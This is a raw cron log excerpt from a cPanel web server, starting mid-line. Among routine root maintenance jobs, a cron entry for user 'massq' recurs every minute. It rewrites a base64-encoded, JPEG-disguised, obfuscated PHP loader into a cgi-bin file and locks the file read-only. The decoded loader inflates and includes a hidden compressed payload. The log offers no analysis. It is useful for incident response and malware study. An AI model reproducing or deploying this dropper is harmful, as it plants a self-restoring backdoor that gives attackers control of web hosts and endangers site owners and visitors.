"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:10:01 server CROND[15361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:11:01 server CROND[16190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:11:01 server CROND[16191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:11:01 server CROND[16192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:12:01 server CROND[16549]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:12:01 server CROND[16548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:12:01 server CROND[16550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:12:01 server CROND[16553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:13:01 server CROND[17087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:13:01 server CROND[17088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:13:01 server CROND[17089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:14:01 server CROND[17454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:14:01 server CROND[17455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:14:01 server CROND[17456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:15:01 server CROND[17841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:15:01 server CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:15:01 server CROND[17849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:15:01 server CROND[17851]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 00:15:01 server CROND[17857]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 00:15:01 server CROND[17853]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 00:15:01 server CROND[17855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:15:01 server CROND[17852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:15:01 server CROND[17856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:15:01 server CROND[17854]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:16:01 server CROND[18754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:16:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:16:01 server CROND[18756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:17:01 server CROND[19133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:17:01 server CROND[19134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:17:01 server CROND[19136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:18:01 server CROND[19649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:18:01 server CROND[19650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:18:01 server CROND[19651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:19:01 server CROND[20041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:19:01 server CROND[20043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:19:01 server CROND[20042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:20:01 server CROND[20488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:20:01 server CROND[20490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:20:01 server CROND[20491]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:20:01 server CROND[20505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:20:01 server CROND[20502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:20:01 server CROND[20503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:20:01 server CROND[20501]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:20:01 server CROND[20507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:20:01 server CROND[20504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:21:01 server CROND[21341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:21:01 server CROND[21342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:21:01 server CROND[21343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:22:01 server CROND[21707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
